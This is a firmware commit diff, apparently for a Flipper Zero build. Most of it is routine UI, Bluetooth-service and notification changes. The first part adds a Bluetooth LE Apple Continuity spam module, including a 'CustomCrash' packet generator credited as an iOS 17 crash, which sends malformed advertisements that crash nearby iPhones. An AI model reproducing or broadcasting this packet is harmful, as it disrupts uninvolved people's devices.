#define HEADER_LEN (6) // 1 Length + 1 ? + 2 Company ID + 1 Continuity Type + 1 Continuity Length
static uint8_t continuity_packet_sizes[ContinuityTypeCount] = {
[ContinuityTypeAirDrop] = 24,
[ContinuityTypeProximityPair] = 31,
[ContinuityTypeAirplayTarget] = 12,
[ContinuityTypeHandoff] = 20,
[ContinuityTypeTetheringSource] = 12,
[ContinuityTypeNearbyAction] = 11,
[ContinuityTypeAirDrop] = HEADER_LEN + 18,
[ContinuityTypeProximityPair] = HEADER_LEN + 25,
[ContinuityTypeAirplayTarget] = HEADER_LEN + 6,
[ContinuityTypeHandoff] = HEADER_LEN + 14,
[ContinuityTypeTetheringSource] = HEADER_LEN + 6,
[ContinuityTypeNearbyAction] = HEADER_LEN + 5,
[ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
[ContinuityTypeCustomCrash] = HEADER_LEN + 11,
};
uint8_t continuity_get_packet_size(ContinuityType type) {
return continuity_packet_sizes[type];
@@ -37,11 +44,11 @@ void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet) {
uint8_t i = 0;
packet[i++] = size - 1; // Packet Length
packet[i++] = 0xFF; // Packet Header
packet[i++] = 0x4C; // ...
packet[i++] = 0xFF; // Packet Type (Manufacturer Specific)
packet[i++] = 0x4C; // Packet Company ID (Apple, Inc.)
packet[i++] = 0x00; // ...
packet[i++] = msg->type; // Type
packet[i] = size - i - 1; // Message Length
packet[i++] = msg->type; // Continuity Type
packet[i] = size - i - 1; // Continuity Length
i++;
switch(msg->type) {
@@ -124,6 +131,34 @@ void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet) {
i += 3;
break;
case ContinuityTypeNearbyInfo:
packet[i++] = ((rand() % 16) << 4) + (rand() % 16); // Status Flags and Action Code
packet[i++] = (rand() % 256); // Status Flags
packet[i++] = (rand() % 256); // Authentication Tag
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
break;
case ContinuityTypeCustomCrash:
// Found by @ECTO-1A
i -= 2; // Override segment header
packet[i++] = ContinuityTypeNearbyAction; // Type
packet[i++] = 0x05; // Length
packet[i++] = 0xC1; // Action Flags
const uint8_t types[] = {0x27, 0x09, 0x02, 0x1e, 0x2b, 0x2d, 0x2f, 0x01, 0x06, 0x20, 0xc0};
packet[i++] = types[rand() % COUNT_OF(types)]; // Action Type
furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
i += 3;
packet[i++] = 0x00; // ???
packet[i++] = 0x00; // ???
packet[i++] = ContinuityTypeNearbyInfo; // Type ???
furi_hal_random_fill_buf(&packet[i], 3); // Shenanigans (Length + IDK) ???
i += 3;
break;
default:
break;
}

View File

@@ -5,6 +5,7 @@
// Hacked together by @Willy-JL
// Custom adv logic by @Willy-JL (idea by @xMasterX)
// iOS 17 Crash by @ECTO-1A
// Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A
// Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/
// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
@@ -17,6 +18,9 @@ typedef enum {
ContinuityTypeHandoff = 0x0C,
ContinuityTypeTetheringSource = 0x0E,
ContinuityTypeNearbyAction = 0x0F,
ContinuityTypeNearbyInfo = 0x10,
ContinuityTypeCustomCrash,
ContinuityTypeCount
} ContinuityType;
@@ -37,6 +41,10 @@ typedef union {
uint8_t flags;
uint8_t type;
} nearby_action;
struct {
} nearby_info;
struct {
} custom_crash;
} ContinuityData;
typedef struct {

View File

@@ -1,9 +1,9 @@
#include "archive_files.h"
#include "archive_apps.h"
#include "archive_browser.h"
#include <applications/external/subghz_playlist/playlist_file.h>
#include <applications/external/subghz_remote/subghz_remote_app_i.h>
#include <applications/external/ir_remote/infrared_remote.h>
#include <applications/system/subghz_playlist/playlist_file.h>
#include <applications/system/subghz_remote/subghz_remote_app_i.h>
#include <applications/system/ir_remote/infrared_remote.h>
#define TAG "Archive"

View File

@@ -43,6 +43,11 @@ GpioApp* gpio_app_alloc() {
app->notifications = furi_record_open(RECORD_NOTIFICATION);
// Dialog view
app->dialog = dialog_ex_alloc();
view_dispatcher_add_view(
app->view_dispatcher, GpioAppViewExitConfirm, dialog_ex_get_view(app->dialog));
app->var_item_list = variable_item_list_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
@@ -91,10 +96,12 @@ void gpio_app_free(GpioApp* app) {
view_dispatcher_remove_view(app->view_dispatcher, GpioAppViewUsbUart);
view_dispatcher_remove_view(app->view_dispatcher, GpioAppViewUsbUartCfg);
view_dispatcher_remove_view(app->view_dispatcher, GpioAppViewUsbUartCloseRpc);
view_dispatcher_remove_view(app->view_dispatcher, GpioAppViewExitConfirm);
variable_item_list_free(app->var_item_list);
widget_free(app->widget);
gpio_test_free(app->gpio_test);
gpio_usb_uart_free(app->gpio_usb_uart);
dialog_ex_free(app->dialog);
gpio_i2c_scanner_free(app->gpio_i2c_scanner);
gpio_i2c_sfp_free(app->gpio_i2c_sfp);

View File

@@ -13,6 +13,7 @@
#include <notification/notification_messages.h>
#include <gui/modules/variable_item_list.h>
#include <gui/modules/widget.h>
#include <gui/modules/dialog_ex.h>
#include "views/gpio_test.h"
#include "views/gpio_usb_uart.h"
#include "views/gpio_i2c_scanner.h"
@@ -25,6 +26,7 @@ struct GpioApp {
ViewDispatcher* view_dispatcher;
SceneManager* scene_manager;
Widget* widget;
DialogEx* dialog;
VariableItemList* var_item_list;
VariableItem* var_item_flow;
@@ -43,6 +45,7 @@ typedef enum {
GpioAppViewUsbUart,
GpioAppViewUsbUartCfg,
GpioAppViewUsbUartCloseRpc,
GpioAppViewExitConfirm,
GpioAppViewI2CScanner,
GpioAppViewI2CSfp
} GpioAppView;

View File

@@ -3,5 +3,6 @@ ADD_SCENE(gpio, test, Test)
ADD_SCENE(gpio, usb_uart, UsbUart)
ADD_SCENE(gpio, usb_uart_cfg, UsbUartCfg)
ADD_SCENE(gpio, usb_uart_close_rpc, UsbUartCloseRpc)
ADD_SCENE(gpio, exit_confirm, ExitConfirm)
ADD_SCENE(gpio, i2c_scanner, I2CScanner)
ADD_SCENE(gpio, i2c_sfp, I2CSfp)

View File

@@ -0,0 +1,44 @@
#include "gpio_app_i.h"
void gpio_scene_exit_confirm_dialog_callback(DialogExResult result, void* context) {
GpioApp* app = context;
view_dispatcher_send_custom_event(app->view_dispatcher, result);
}
void gpio_scene_exit_confirm_on_enter(void* context) {
GpioApp* app = context;
DialogEx* dialog = app->dialog;
dialog_ex_set_context(dialog, app);
dialog_ex_set_left_button_text(dialog, "Exit");
dialog_ex_set_right_button_text(dialog, "Stay");
dialog_ex_set_header(dialog, "Exit USB-UART?", 22, 12, AlignLeft, AlignTop);
dialog_ex_set_result_callback(dialog, gpio_scene_exit_confirm_dialog_callback);
view_dispatcher_switch_to_view(app->view_dispatcher, GpioAppViewExitConfirm);
}
bool gpio_scene_exit_confirm_on_event(void* context, SceneManagerEvent event) {
GpioApp* app = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == DialogExResultRight) {
consumed = scene_manager_previous_scene(app->scene_manager);
} else if(event.event == DialogExResultLeft) {
scene_manager_search_and_switch_to_previous_scene(app->scene_manager, GpioSceneStart);
}
} else if(event.type == SceneManagerEventTypeBack) {
consumed = true;
}
return consumed;
}
void gpio_scene_exit_confirm_on_exit(void* context) {
GpioApp* app = context;
// Clean view
dialog_ex_reset(app->dialog);
}

View File

@@ -42,6 +42,9 @@ bool gpio_scene_usb_uart_on_event(void* context, SceneManagerEvent event) {
scene_manager_set_scene_state(app->scene_manager, GpioSceneUsbUart, 1);
scene_manager_next_scene(app->scene_manager, GpioSceneUsbUartCfg);
return true;
} else if(event.type == SceneManagerEventTypeBack) {
scene_manager_next_scene(app->scene_manager, GpioSceneExitConfirm);
return true;
} else if(event.type == SceneManagerEventTypeTick) {
uint32_t tx_cnt_last = scene_usb_uart->state.tx_cnt;
uint32_t rx_cnt_last = scene_usb_uart->state.rx_cnt;

View File

@@ -1,7 +1,7 @@
#include "bt_i.h"
#include "battery_service.h"
#include "bt_keys_storage.h"
#include <services/battery_service.h>
#include <notification/notification_messages.h>
#include <gui/elements.h>
#include <assets_icons.h>
@@ -374,13 +374,13 @@ static void bt_change_profile(Bt* bt, BtMessage* message) {
*message->result = false;
}
}
furi_event_flag_set(bt->api_event, BT_API_UNLOCK_EVENT);
if(message->lock) api_lock_unlock(message->lock);
}
static void bt_close_connection(Bt* bt) {
static void bt_close_connection(Bt* bt, BtMessage* message) {
bt_close_rpc_connection(bt);
furi_hal_bt_stop_advertising();
furi_event_flag_set(bt->api_event, BT_API_UNLOCK_EVENT);
if(message->lock) api_lock_unlock(message->lock);
}
static inline FuriHalBtProfile get_hal_bt_profile(BtProfile profile) {
@@ -527,7 +527,7 @@ int32_t bt_srv(void* p) {
} else if(message.type == BtMessageTypeSetProfile) {
bt_change_profile(bt, &message);
} else if(message.type == BtMessageTypeDisconnect) {
bt_close_connection(bt);
bt_close_connection(bt, &message);
} else if(message.type == BtMessageTypeForgetBondedDevices) {
bt_keys_storage_delete(bt->keys_storage);
}

View File

@@ -6,11 +6,14 @@ bool bt_set_profile(Bt* bt, BtProfile profile) {
// Send message
bool result = false;
BtMessage message = {
.type = BtMessageTypeSetProfile, .data.profile = profile, .result = &result};
.lock = api_lock_alloc_locked(),
.type = BtMessageTypeSetProfile,
.data.profile = profile,
.result = &result};
furi_check(
furi_message_queue_put(bt->message_queue, &message, FuriWaitForever) == FuriStatusOk);
// Wait for unlock
furi_event_flag_wait(bt->api_event, BT_API_UNLOCK_EVENT, FuriFlagWaitAny, FuriWaitForever);
api_lock_wait_unlock_and_free(message.lock);
return result;
}
@@ -19,11 +22,11 @@ void bt_disconnect(Bt* bt) {
furi_assert(bt);
// Send message
BtMessage message = {.type = BtMessageTypeDisconnect};
BtMessage message = {.lock = api_lock_alloc_locked(), .type = BtMessageTypeDisconnect};
furi_check(
furi_message_queue_put(bt->message_queue, &message, FuriWaitForever) == FuriStatusOk);
// Wait for unlock
furi_event_flag_wait(bt->api_event, BT_API_UNLOCK_EVENT, FuriFlagWaitAny, FuriWaitForever);
api_lock_wait_unlock_and_free(message.lock);
}
void bt_set_status_changed_callback(Bt* bt, BtStatusChangedCallback callback, void* context) {

View File

@@ -4,6 +4,7 @@
#include <furi.h>
#include <furi_hal.h>
#include <api_lock.h>
#include <gui/gui.h>
#include <gui/view_port.h>
@@ -21,8 +22,6 @@
#define BT_KEYS_STORAGE_OLD_PATH INT_PATH(".bt.keys")
#define BT_KEYS_STORAGE_PATH CFG_PATH("bt.keys")
#define BT_API_UNLOCK_EVENT (1UL << 0)
typedef enum {
BtMessageTypeUpdateStatus,
BtMessageTypeUpdateBatteryLevel,
@@ -47,6 +46,7 @@ typedef union {
} BtMessageData;
typedef struct {
FuriApiLock lock;
BtMessageType type;
BtMessageData data;
bool* result;

View File

@@ -313,6 +313,7 @@ void elements_multiline_text_aligned(
} else if((y + font_height) > canvas_height(canvas)) {
line = furi_string_alloc_printf("%.*s...\n", chars_fit, start);
} else {
chars_fit -= 1; // account for the dash
line = furi_string_alloc_printf("%.*s-\n", chars_fit, start);
}
canvas_draw_str_aligned(canvas, x, y, horizontal, vertical, furi_string_get_cstr(line));

View File

@@ -6,6 +6,8 @@
#include "gui.h"
#include "gui_i.h"
#define TAG "ViewPort"
_Static_assert(ViewPortOrientationMAX == 4, "Incorrect ViewPortOrientation count");
_Static_assert(
(ViewPortOrientationHorizontal == 0 && ViewPortOrientationHorizontalFlip == 1 &&
@@ -174,10 +176,15 @@ void view_port_input_callback_set(
void view_port_update(ViewPort* view_port) {
furi_assert(view_port);
// TODO: Uncomment when all apps are verified to be fixed !!!!!!!!!!!!!!!!!!!!!!!
//furi_check(furi_mutex_acquire(view_port->mutex, FuriWaitForever) == FuriStatusOk);
// We are not going to lockup system, but will notify you instead
// Make sure that you don't call viewport methods inside of another mutex, especially one that is used in draw call
if(furi_mutex_acquire(view_port->mutex, 2) != FuriStatusOk) {
FURI_LOG_W(TAG, "ViewPort lockup: see %s:%d", __FILE__, __LINE__ - 3);
}
if(view_port->gui && view_port->is_enabled) gui_update(view_port->gui);
//furi_check(furi_mutex_release(view_port->mutex) == FuriStatusOk);
furi_mutex_release(view_port->mutex);
}
void view_port_gui_set(ViewPort* view_port, Gui* gui) {
@@ -190,14 +197,21 @@ void view_port_gui_set(ViewPort* view_port, Gui* gui) {
void view_port_draw(ViewPort* view_port, Canvas* canvas) {
furi_assert(view_port);
furi_assert(canvas);
furi_check(furi_mutex_acquire(view_port->mutex, FuriWaitForever) == FuriStatusOk);
// We are not going to lockup system, but will notify you instead
// Make sure that you don't call viewport methods inside of another mutex, especially one that is used in draw call
if(furi_mutex_acquire(view_port->mutex, 2) != FuriStatusOk) {
FURI_LOG_W(TAG, "ViewPort lockup: see %s:%d", __FILE__, __LINE__ - 3);
}
furi_check(view_port->gui);
if(view_port->draw_callback) {
view_port_setup_canvas_orientation(view_port, canvas);
view_port->draw_callback(canvas, view_port->draw_callback_context);
}
furi_check(furi_mutex_release(view_port->mutex) == FuriStatusOk);
furi_mutex_release(view_port->mutex);
}
void view_port_input(ViewPort* view_port, InputEvent* event) {

View File

@@ -2,6 +2,7 @@
#include <cli/cli.h>
#include <applications.h>
#include <lib/toolbox/args.h>
#include <notification/notification_messages.h>
#include "loader.h"
static void loader_cli_print_usage() {
@@ -56,6 +57,10 @@ static void loader_cli_open(FuriString* args, Loader* loader) {
FuriString* error_message = furi_string_alloc();
if(loader_start(loader, app_name_str, args_str, error_message) != LoaderStatusOk) {
printf("%s\r\n", furi_string_get_cstr(error_message));
} else {
NotificationApp* notifications = furi_record_open(RECORD_NOTIFICATION);
notification_message(notifications, &sequence_display_backlight_on);
furi_record_close(RECORD_NOTIFICATION);
}
furi_string_free(error_message);
} while(false);

View File

@@ -453,8 +453,11 @@ static bool notification_load_settings(NotificationApp* app) {
static void input_event_callback(const void* value, void* context) {
furi_assert(value);
furi_assert(context);
const InputEvent* event = value;
NotificationApp* app = context;
notification_message(app, &sequence_display_backlight_on);
if(event->sequence_source == INPUT_SEQUENCE_SOURCE_HARDWARE) {
notification_message(app, &sequence_display_backlight_on);
}
}
// App alloc

View File

@@ -1,8 +1,6 @@
#include "../bt_settings_app.h"
#include <furi_hal_bt.h>
#include <applications/main/bad_kb/bad_kb_paths.h>
#include <applications/external/hid_app/hid_path.h>
#include <applications/external/totp/workers/bt_type_code/bt_type_code.h>
void bt_settings_scene_forget_dev_confirm_dialog_callback(DialogExResult result, void* context) {
furi_assert(context);
@@ -35,12 +33,16 @@ bool bt_settings_scene_forget_dev_confirm_on_event(void* context, SceneManagerEv
bt_keys_storage_set_default_path(app->bt);
bt_forget_bonded_devices(app->bt);
// also remove keys of badkb and bt remote
// also remove keys for apps
const char* keys_paths[] = {
BAD_KB_KEYS_PATH,
EXT_PATH("apps_data/hid_ble/.bt_hid.keys"),
EXT_PATH("apps_data/totp/.bt_hid.keys"),
};
Storage* storage = furi_record_open(RECORD_STORAGE);
storage_simply_remove(storage, BAD_KB_KEYS_PATH);
storage_simply_remove(
storage, EXT_PATH("apps_data/hid_ble/") HID_BT_KEYS_STORAGE_NAME);
storage_simply_remove(storage, TOTP_BT_KEYS_STORAGE_PATH);
for(size_t i = 0; i < COUNT_OF(keys_paths); i++) {
storage_simply_remove(storage, keys_paths[i]);
}
furi_record_close(RECORD_STORAGE);
scene_manager_next_scene(app->scene_manager, BtSettingsAppSceneForgetDevSuccess);

View File

Before

Width:  |  Height:  |  Size: 171 B

After

Width:  |  Height:  |  Size: 171 B

View File

Before

Width:  |  Height:  |  Size: 305 B

After

Width:  |  Height:  |  Size: 305 B

View File

Before

Width:  |  Height:  |  Size: 7.7 KiB

After

Width:  |  Height:  |  Size: 7.7 KiB

View File

Before

Width:  |  Height:  |  Size: 4.9 KiB

After

Width:  |  Height:  |  Size: 4.9 KiB

View File

Before

Width:  |  Height:  |  Size: 4.9 KiB

After

Width:  |  Height:  |  Size: 4.9 KiB

View File

Before

Width:  |  Height:  |  Size: 158 B

After

Width:  |  Height:  |  Size: 158 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 968 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 971 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

Some files were not shown because too many files have changed in this diff Show More